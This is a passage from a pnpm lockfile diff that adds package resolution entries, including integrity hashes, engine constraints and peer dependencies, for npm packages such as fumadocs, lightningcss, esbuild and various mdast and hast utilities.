sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + + character-entities@2.0.2: + resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} + + character-reference-invalid@2.0.1: + resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} + + chokidar@5.0.0: + resolution: {integrity: sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==} + engines: {node: '>= 20.19.0'} + + class-variance-authority@0.7.1: + resolution: {integrity: sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==} + + cli-boxes@3.0.0: + resolution: {integrity: sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==} + engines: {node: '>=10'} + + client-only@0.0.1: + resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==} + + clipboardy@3.0.0: + resolution: {integrity: sha512-Su+uU5sr1jkUy1sGRpLKjKrvEOVXgSgiSInwa/qeID6aJ07yh+5NWc3h2QfjHjBnfX4LhtFcuAWKUsJ3r+fjbg==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + + clsx@2.1.1: + resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} + engines: {node: '>=6'} + + cnfast@0.0.8: + resolution: {integrity: sha512-EjXKMfGfdwtV4AcNSQ6AwQaVzpC1B7IxeiwA3FlhTXz+YFlMKVi4c1JX9tgD2QOlahQXjB8KUXrBaYG+3v871Q==} + hasBin: true + + collapse-white-space@2.1.0: + resolution: {integrity: sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + comma-separated-tokens@2.0.3: + resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} + + compressible@2.0.18: + resolution: {integrity: sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==} + engines: {node: '>= 0.6'} + + compression@1.8.1: + resolution: {integrity: sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==} + engines: {node: '>= 0.8.0'} + + compute-scroll-into-view@3.1.1: + resolution: {integrity: sha512-VRhuHOLoKYOy4UbilLbUzbYg93XLjv2PncJC50EuTWPA3gaja1UjBsUP/D/9/juV3vQFr6XBEzn9KCAHdUvOHw==} + + content-disposition@0.5.2: + resolution: {integrity: sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA==} + engines: {node: '>= 0.6'} + + cross-spawn@7.0.6: + resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} + engines: {node: '>= 8'} + + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + + debug@2.6.9: + resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + decode-named-character-reference@1.3.0: + resolution: {integrity: sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==} + + deep-extend@0.6.0: + resolution: {integrity: sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==} + engines: {node: '>=4.0.0'} + + dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + detect-node-es@1.1.0: + resolution: {integrity: sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==} + + devlop@1.1.0: + resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} + + eastasianwidth@0.2.0: + resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} + + elkjs@0.11.1: + resolution: {integrity: sha512-zxxR9k+rx5ktMwT/FwyLdPCrq7xN6e4VGGHH8hA01vVYKjTFik7nHOxBnAYtrgYUB1RpAiLvA1/U2YraWxyKKg==} + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + emoji-regex@9.2.2: + resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} + + enhanced-resolve@5.24.3: + resolution: {integrity: sha512-PwKooW9JUzh5chmYfHM3IQl5OkK2u2Nm011MgeZrss3JmFraUx/fqrf78kk8GUMYoibx/14MdwTl/1WKkG7TpQ==} + engines: {node: '>=10.13.0'} + + entities@6.0.1: + resolution: {integrity: sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==} + engines: {node: '>=0.12'} + + entities@7.0.1: + resolution: {integrity: sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==} + engines: {node: '>=0.12'} + + esast-util-from-estree@2.0.0: + resolution: {integrity: sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==} + + esast-util-from-js@2.0.1: + resolution: {integrity: sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==} + + esbuild@0.28.1: + resolution: {integrity: sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==} + engines: {node: '>=18'} + hasBin: true + + escape-string-regexp@5.0.0: + resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==} + engines: {node: '>=12'} + + estree-util-attach-comments@3.0.0: + resolution: {integrity: sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==} + + estree-util-build-jsx@3.0.1: + resolution: {integrity: sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==} + + estree-util-is-identifier-name@3.0.0: + resolution: {integrity: sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==} + + estree-util-scope@1.0.0: + resolution: {integrity: sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ==} + + estree-util-to-js@2.0.0: + resolution: {integrity: sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==} + + estree-util-value-to-estree@3.5.0: + resolution: {integrity: sha512-aMV56R27Gv3QmfmF1MY12GWkGzzeAezAX+UplqHVASfjc9wNzI/X6hC0S9oxq61WT4aQesLGslWP9tKk6ghRZQ==} + + estree-util-visit@2.0.0: + resolution: {integrity: sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==} + + estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + + execa@5.1.1: + resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==} + engines: {node: '>=10'} + + extend@3.0.2: + resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-uri@3.1.5: + resolution: {integrity: sha512-gHwA1O9LDIcKunMKhObS/HimwtehO1nPUECKAu5TpKgaO19fcWEl4bliWe1jWxVFvIXztJjjQ4L8XQ1EU9f7Jw==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + framer-motion@12.43.0: + resolution: {integrity: sha512-1eaL3RvR/kAlbG7UYcpMptEyzPoENO0c6w7ZnB3/hh2vSAz/6uGAFn6fdoqTBguNstf3MsFhJHsD/0DHiclG+g==} + peerDependencies: + '@emotion/is-prop-valid': '*' + react: ^18.0.0 || ^19.0.0 + react-dom: ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + '@emotion/is-prop-valid': + optional: true + react: + optional: true + react-dom: + optional: true + + fumadocs-core@16.12.1: + resolution: {integrity: sha512-6NnDxUqe0hIiShbWjqvLXvPYV0n0gi01UHmDAkDs5KVcfxfgOPz5bAbj45JDY0Ykq39Mr8z1xRt9h/HwIhe8fw==} + peerDependencies: + '@mdx-js/mdx': '*' + '@mixedbread/sdk': 0.x.x + '@orama/core': 1.x.x + '@oramacloud/client': 2.x.x + '@tanstack/react-router': 1.x.x + '@types/estree-jsx': '*' + '@types/hast': '*' + '@types/mdast': '*' + '@types/react': '*' + algoliasearch: 5.x.x + flexsearch: '*' + lucide-react: '*' + next: 16.x.x + react: ^19.2.0 + react-dom: ^19.2.0 + react-router: 7.x.x || 8.x.x + waku: '*' + zod: 4.x.x + peerDependenciesMeta: + '@mdx-js/mdx': + optional: true + '@mixedbread/sdk': + optional: true + '@orama/core': + optional: true + '@oramacloud/client': + optional: true + '@tanstack/react-router': + optional: true + '@types/estree-jsx': + optional: true + '@types/hast': + optional: true + '@types/mdast': + optional: true + '@types/react': + optional: true + algoliasearch: + optional: true + flexsearch: + optional: true + lucide-react: + optional: true + next: + optional: true + react: + optional: true + react-dom: + optional: true + react-router: + optional: true + waku: + optional: true + zod: + optional: true + + fumadocs-mdx@15.2.1: + resolution: {integrity: sha512-lyx35MAFAj9yuLPudNoRGGvauZlT1xRLLw17P0jnvhXikrJNC8mAeg/4WIity5K+3V6ZetBQ2PYIcnli450vMg==} + hasBin: true + peerDependencies: + '@fumadocs/satteri': 0.x.x + '@types/mdast': '*' + '@types/mdx': '*' + '@types/react': '*' + fumadocs-core: ^16.7.0 + mdast-util-directive: '*' + next: ^15.3.0 || ^16.0.0 + react: ^19.2.0 + rolldown: '*' + satteri: ^0.9.4 + vite: 7.x.x || 8.x.x + peerDependenciesMeta: + '@fumadocs/satteri': + optional: true + '@types/mdast': + optional: true + '@types/mdx': + optional: true + '@types/react': + optional: true + mdast-util-directive: + optional: true + next: + optional: true + react: + optional: true + rolldown: + optional: true + satteri: + optional: true + vite: + optional: true + + fumadocs-ui@16.12.1: + resolution: {integrity: sha512-/YYERe99PJYw09RiYmCetdcu9uIjrUff+uoYk1EzgTLNtKlt2FNJJCcWYykG76wWlT28hXRs1bt8eFVq9dIU9w==} + peerDependencies: + '@types/mdx': '*' + '@types/react': '*' + fumadocs-core: 16.12.1 + next: 16.x.x + react: ^19.2.0 + react-dom: ^19.2.0 + takumi-js: '*' + peerDependenciesMeta: + '@types/mdx': + optional: true + '@types/react': + optional: true + next: + optional: true + takumi-js: + optional: true + + get-nonce@1.0.1: + resolution: {integrity: sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==} + engines: {node: '>=6'} + + get-stream@6.0.1: + resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==} + engines: {node: '>=10'} + + github-slugger@2.0.0: + resolution: {integrity: sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==} + + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + hast-util-from-parse5@8.0.3: + resolution: {integrity: sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==} + + hast-util-parse-selector@4.0.0: + resolution: {integrity: sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==} + + hast-util-raw@9.1.0: + resolution: {integrity: sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==} + + hast-util-to-estree@3.1.3: + resolution: {integrity: sha512-48+B/rJWAp0jamNbAAf9M7Uf//UVqAoMmgXhBdxTDJLGKY+LRnZ99qcG+Qjl5HfMpYNzS5v4EAwVEF34LeAj7w==} + + hast-util-to-html@9.0.5: + resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==} + + hast-util-to-jsx-runtime@2.3.6: + resolution: {integrity: sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==} + + hast-util-to-parse5@8.0.1: + resolution: {integrity: sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==} + + hast-util-whitespace@3.0.0: + resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} + + hastscript@9.0.1: + resolution: {integrity: sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==} + + html-void-elements@3.0.0: + resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} + + human-signals@2.1.0: + resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==} + engines: {node: '>=10.17.0'} + + ini@1.3.8: + resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} + + inline-style-parser@0.2.7: + resolution: {integrity: sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA==} + + is-alphabetical@2.0.1: + resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} + + is-alphanumerical@2.0.1: + resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} + + is-decimal@2.0.1: + resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} + + is-docker@2.2.1: + resolution: {integrity: sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==} + engines: {node: '>=8'} + hasBin: true + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-hexadecimal@2.0.1: + resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} + + is-plain-obj@4.1.0: + resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} + engines: {node: '>=12'} + + is-port-reachable@4.0.0: + resolution: {integrity: sha512-9UoipoxYmSk6Xy7QFgRv2HDyaysmgSG75TFQs6S+3pDM7ZhKTF/bskZV+0UlABHzKjNVhPjYCLfeZUEg1wXxig==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + + is-stream@2.0.1: + resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} + engines: {node: '>=8'} + + is-wsl@2.2.0: + resolution: {integrity: sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==} + engines: {node: '>=8'} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + jiti@2.7.0: + resolution: {integrity: sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==} + hasBin: true + + json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + + lightningcss-android-arm64@1.32.0: + resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [android] + + lightningcss-darwin-arm64@1.32.0: + resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [darwin] + + lightningcss-darwin-x64@1.32.0: + resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [darwin] + + lightningcss-freebsd-x64@1.32.0: + resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [freebsd] + + lightningcss-linux-arm-gnueabihf@1.32.0: + resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} + engines: {node: '>= 12.0.0'} + cpu: [arm] + os: [linux] + + lightningcss-linux-arm64-gnu@1.32.0: + resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-arm64-musl@1.32.0: + resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-x64-gnu@1.32.0: + resolution: {integrity: sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-linux-x64-musl@1.32.0: + resolution: {integrity: sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-win32-arm64-msvc@1.32.0: + resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [win32] + + lightningcss-win32-x64-msvc@1.32.0: + resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [win32] + + lightningcss@1.32.0: + resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} + engines: {node: '>= 12.0.0'} + + longest-streak@3.1.0: + resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} + + lucide-react@1.27.0: + resolution: {integrity: sha512-rJicGl/3Fly/E0rOH1YmPZ6e49JCnKknh1ox1vpHnkfjujAkKA6sqUZvH3MTAaXXjgexyUwgNwTJzTtYuAFYJw==} + peerDependencies: + react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + magic-string@0.30.21: + resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} + + magic-string@1.1.0: + resolution: {integrity: sha512-kS3VHe0nEPST2saQV4Rbkchcd3UBRkVTQHo1D3h/ZTwFDhai/mfKkmtPAtD129EOI7K3HlHIsFOt0WrI2/oU9g==} + + markdown-extensions@2.0.0: + resolution: {integrity: sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==} + engines: {node: '>=16'} + + markdown-table@3.0.4: + resolution: {integrity: sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==} + + mdast-util-find-and-replace@3.0.2: + resolution: {integrity: sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==} + + mdast-util-from-markdown@2.0.3: + resolution: {integrity: sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==} + + mdast-util-gfm-autolink-literal@2.0.1: + resolution: {integrity: sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==} + + mdast-util-gfm-footnote@2.1.0: + resolution: {integrity: sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==} + + mdast-util-gfm-strikethrough@2.0.0: + resolution: {integrity: sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==} + + mdast-util-gfm-table@2.0.0: + resolution: {integrity: sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==} + + mdast-util-gfm-task-list-item@2.0.0: + resolution: {integrity: sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==} + + mdast-util-gfm@3.1.0: + resolution: {integrity: 